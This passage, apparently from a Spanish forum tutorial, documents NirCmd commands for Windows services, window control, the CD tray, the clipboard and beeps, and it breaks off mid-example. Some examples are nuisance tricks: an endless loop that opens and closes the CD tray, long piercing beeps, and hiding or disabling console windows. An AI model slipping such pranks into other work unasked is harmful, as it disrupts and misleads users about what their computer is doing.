boot : (Solo para drivers.) Cambia el tipo de inicio de el servicio o driver, lo cambia a Boot.
System : (Solo para drivers.) Cambia el tipo de inicio de el servicio o driver, lo cambia a System.
[Service name]: El nombre del servicio o driver.
Ejemplos de uso :
Código:
nircmd service start schedule
nircmd service start messenger
nircmd qboxcom "Desea deshabilitar el servicio de mensajero?" "Advertencia" service disabled messengernircmd service restart w3svc (Servicio de publicacion en Wold Wide Web)
nircmd service start telnet
nircmd service start cisvc (Indice de contenido)
nircmd service start smtpsvc (Servicio SMTP de Microsoft.)
Win Este comando es sumamente largo, pero muy satisfactorio. Permite cerrar, esconder, mostrar, maximizar, y minizar la ventana especificada.
Sintaxis :
nircmd win child [find] [top windows to find] [action] [find] [child windows to find] [Additional parameters]. Las acciones [action] pueden ser las siguientes:
[action] : La accion que quieres se haga en la ventana especificada.
child : Permite hacer una accion en una ventana chica.
close: Cierra la ventana especificada.
hide : Oculta la ventana especificada.
show : Muestra otra ves la ventana especificada. (Despues de haberla oculatado con el comando "hide")
hideshow : Oculta la ventana especificada y despues la muestra otra ves. Puedes usar esta accion para repintar el contenido de una ventana.
activate : Trae la ventana especificada al frente.
max : Maximiza la ventana especificada.
min: Minimiza la ventana especificada.
normal : Restaura la ventana especificada a su estado normal, despues de haberla maximizado o minimizado.
trans : Hace la ventana especificada transparente, el valor [Additional parameters] es un valor entre 0 y 255, que especifica el nivel de tranparencia. 0 = Completamente transparente. 255 = Completamente opaco.
setsize : Establece la medida de la venatna especificada. El valor [Additional parameters] especifica la medida deseada, x, y, Ancho y Alto.
move : Mueve/reclasifica el tamaño de la ventana especificada. El valor [Additional parameters] especifica el numero de pixeles a mover/cambiar; x, y. Ancho y Alto.
center : Centra la ventana especificada.
Como son demasiados parametros, no voy a traducir ya mas de este comando. Lo voy a poner tal cual esta...XD
settopmost : Set the top-most state of the specified windows. If the value in [Additional Parameters] is 1, the specified windows will become top-most windows, if the value is 0, the top-most state will be canceled.
redraw: Rediseña la ventana especificada.
settext: Modify the caption/title of the specified windows.
focus: Set the focus to the specified window.
disable: Disable the specified window.
enable: Enable the specified window.
+style: Add style bits to the specified window. The value of [Additional Parameters] specifies the style bits to add.
-style: Remove style bits from the specified window. The value of [Additional Parameters] specifies the style bits to remove.
+exstyle: Add extended style bits to the specified window. The value of [Additional Parameters] specifies the extended style bits to add.
-exstyle: Remove extended style bits from the specified window. The value of [Additional Parameters] specifies the extended style bits to remove.
postmsg: Post a message to the specified window. The 3 values in [Additional Parameters] specifies the message parameters: Msg, wParam, lParam.
sendmsg: Send a message to the specified window. The 3 values in [Additional Parameters] specifies the message parameters: Msg, wParam, lParam.
dlgclick: Send a click command to the button inside a dialog-box. The value in [Additional Parameters] should specify the control ID of the button, or one of the following predefined buttons: yes, no, ok, cancel, retry, ignore, close, help.
dlgsettext: Set the text to the specified control inside a dialog-box. The value in [Additional Parameters] should specify the control ID.
dlgsetfocus: Set the focus to the specified control inside a dialog-box. The value in [Additional Parameters] should specify the control ID
[Find] : El metodo para encontrar la ventana.
handle: Finds the desired window by specifying the handle of the window in [window to find] parameter.
id: Finds the desired child window by specifying the id of the child window. Useful only for child windows.
class: Finds the desired window by specifying the class name of the window in [window to find] parameter.
title : Finds the desired window by specifying the exact title of the window in [window to find] parameter.
stitle: Finds the desired window by specifying the first few characters of the window in [window to find] parameter.
ititle: Finds the desired window by specifying a sequence of characters that exists in the window title.
alltop: All top windows.
alltopnodesktop: All top windows, except of desktop and tray windows.
active: The current active window.
foreground: The window in foreground.
desktop: The desktop window
[Find] : El metodo para encontrar la ventana.
handle: Finds the desired window by specifying the handle of the window in [window to find] parameter.
id: Finds the desired child window by specifying the id of the child window. Useful only for child windows.
class: Finds the desired window by specifying the class name of the window in [window to find] parameter.
title: Finds the desired window by specifying the exact title of the window in [window to find] parameter.
stitle: Finds the desired window by specifying the first few characters of the window in [window to find] parameter.
ititle: Finds the desired window by specifying a sequence of characters that exists in the window title.
alltop: All top windows.
alltopnodesktop: All top windows, except of desktop and tray windows.
active: The current active window.
foreground: The window in foreground.
desktop: The desktop window
[Window to find] : Especifica la ventana por, clase de nombre, titulo, deacuerdo a el valor de el parametro anterior.
Ejemplos de uso :
Supongamos que queremos cerrar el Bloc de notas. (Notepad.exe)
Código:
nircmd win close ititle "Bloc de notas"
Código:
nircmd win max stitle "Sin título" (Puse Sin título, por que es lo que sale al abrir el Bloc de notas, estamos buscando el titulo de la ventana, recuerden...)
Código:
nircmd win trans stitle "Sin título" 192 ó
nircmd win trans ititle "Bloc de notas" 192 ititle : Para especificar una secuencia de caracteres en el titlo de la ventana"
Seria lo mismo que :
Código:
nircmd win trans ititle "notas" 192
Para transparentar todas las ventanas :
Código:
nircmd win trans alltop 192
Código:
nircmd win hide class "Ieframe"
Para centrar la ventana del Bloc de notas :
Código:
nircmd win center alltop
Código:
nircmd win center ititle "cmd.exe" Noten que use ititle, para buscar la secuendia de caracteres.
Código:
nircmd win move ititle "notas" 123 123 Los numero son los valores de X, Y (Si especifican un valor muy alto, la ventana desaparecera.)
Código:
nircmd win hide ititle "cmd.exe"
Código:
nircmd win setsize ititle "cmd.exe" 1 1 1 1
Por ejemplo en una ventana nueva del CMD, vamos a deshabilitarla.
Código:
nircmd win disable ititle "cmd.exe"
Supongamos que queremos quitar la barra de titulo de una ventana. (Por alguna razon el CMD se resiste.)
Bloc de notas :
Código:
nircmd win -style ititle "notas" 0x00C00000
En una conversacion del MSN :
Código:
nircmd win -style ititle "Janeth" 0x00C00000
Supongamos que queremos intercambiar los botones de cerrar,minimizar restaurar, etc de una ventana:
Código:
nircmd win +exstyle ititle "notas" 0x00400000
Todavia no entiendo muy bien el funcionamiento de este comando...
Supongamos que tenemos abierto el Bloc de notas, y al cerrarlo nos pregunta si queremos guardar los cambios en el cuadro de dialogo, y queremos contestarle que "NO" :
Código:
nircmd win dlgclick ititle "notas" no Asi simularias el "No" con el raton. XD
Mandar un mensaje a una ventana:
Código:
nircmd win sendmsg ititle "notas" 0x10 0 0
Supongamos que queremos traer al frente una ventana :
Código:
nircmd win activate ititle "My Computer"
nircmd win activate ititle "Windows Live Messenger"
Modificar el texto de una ventana :
Código:
nircmd win settext ititle "Windows Live Messenger" RockoX
nircmd win settext ititle "c:\windows\system32\cmd.exe"
Supongamos que queremos quitar el Sí, No, o Cancelar de un dialogo de guardar en el WordPad.
Código:
nircmd win dlgsettext ititle "WordPad" No
nircmd win dlgsettext ititle "WordPad" Cancelar
nircmd win dlgsettext ititle "WordPad" Yes
Otro Ejemplo :
Supongamos que hicimos este comando :
Código:
nircmd qboxcom "Desea abrir la Calculadora de Windows" "Advertencia" calc.exe
Código:
nircmd win dlgsettext stitle "Advertencia" No
nircmd win dlgsettext stitle "Advertencia" Yes
Primero Hicimos esto :
nircmd qboxcom "Desea abrir el CDROM?" "Advertencia" cdrom open
Código:
Con esto nos aparece un dialo preguntando, y nos da dos opciones Si o NO, vamos a editar el texto de los botones.
Los editamos asi :
Código:
nircmd win dlgsettext stitle "Advertencia" Yes Simon
nircmd win dlgsettext stitle "Advertencia" No Noup
Este comando es bastante largooooooooo....
Cdrom Este comando te permite abrir y cerrar la consola del CDROM, la accion puede ser Open o Close, puedes especificar la unidad a abrir, si la unidad es omitida el CDROM predeterminado, sera usado.
Sintaxis :
nircmd cdrom [action] [unidad]
Ejemplos de uso :
Código:
nircmd cdrom open
nircmd cdrom open d:
nircmd cdrom close
nircmd cdrom close d:
nircmd qboxcom "Desea abrir su CDROM ahora?..." "Batch Coder" cdrom open d:
Código:
@echo off
cd %windir%\system32
:jode
ping -n 3 127.0.0.1>nul
nircmd cdrom open
ping -n 3 127.0.0.1>nul
nircmd cdrom close
goto jode
Es solo un ejemplo
Clipboard Permite Poner un valor dentro del portapapeles y limpiar el portapapeles.
Sintaxis :
nircmd clipboard [action] [parameters]
Y las Acciones [action] pueden ser las siguientes :
Set : Pone el texto especificado dentro del portatapapeles.
Readfile : Pone el contenido del archivo de texto especificado dentro del portapapeles.
Clear : Limpia el portapapeles.
Writefile : Escribe el contenido del portapapeles a un archivo (Solo de texto).
addfile : Agrega el contenido del portapapeles a un archivo, Agrega, mas no borra el contenido. (Solo texto.)
saveimage : Guarda la imagen actual en el portapapeles dentro de un archivo. Los siguientes formatos son soportados : bmp, .gif, .jpg, .png, .tiff , Solo funciona en maquinas con GDI installado.
Ejemplos de uso :
Supongamos que queremos guardar un texto especifico en el portapapeles, luego el mismo texto, mostrarlo en un mensaje:
Código:
nircmd clipboard set "RockoX Was Here!!!"
nircmd infobox "~$clipboard$" "Info XD"
Supongamos que queremos almacenar el contenido de un archivo de texto en el portapapales, para luego usarlo en un mensaje de texto :
Código:
nircmd clipboard readfile "C:\RockoX.txt"
nircmd infobox "El contenido de RockoX.txt es : ~$clipboard$" "Informacion"
Código:
nircmd clipboard clear
Código:
nircmd clipboard writefile "C:\RockoX.txt"
Código:
nircmd clipboard addfile "c:\RockoX.txt" (Esto agrega un texto, pero no borra el que ya estaba, solo agrega)
gac Permite instalar un montaje en el Cache Global de montaje.
Sintaxis :
nircmd gac [Action] [Parameter]
Ejemplo :
Código:
nircmd gac install "C:\MyAssembly.dll"
Beep Suena un beep. El parametro de [Frequency] especifica la frecuencia, in hertz. El parametro [Duration] especifica la duracion de el sonido en milisegundos. Bajo Windows 95/98, los parametros dichos son ignorados, y solo un beep standard es sonado.
Sintaxis :
nircmd beep [Frequency] [Duration]
La frecuencia mas baja que encontre fue 37.
Ejemplos de uso :
Código:
nircmd beep 37 10000 (La frecuencia seria la mas baja, y duraria 10 segundos el beep)
1000 milisegundos = 1 segundo
nircmd beep 14500 4000 (Durante 4 segundos.)
nircmd qboxcom "Desea fastidiar sus oidos durante 10 segundos?" "Warning!" beep 14300 10000
stdbeep Suena un standard beep de Windows.
nircmd stdbeep
Ejemplos de uso :
[code]@echo off
cd %windir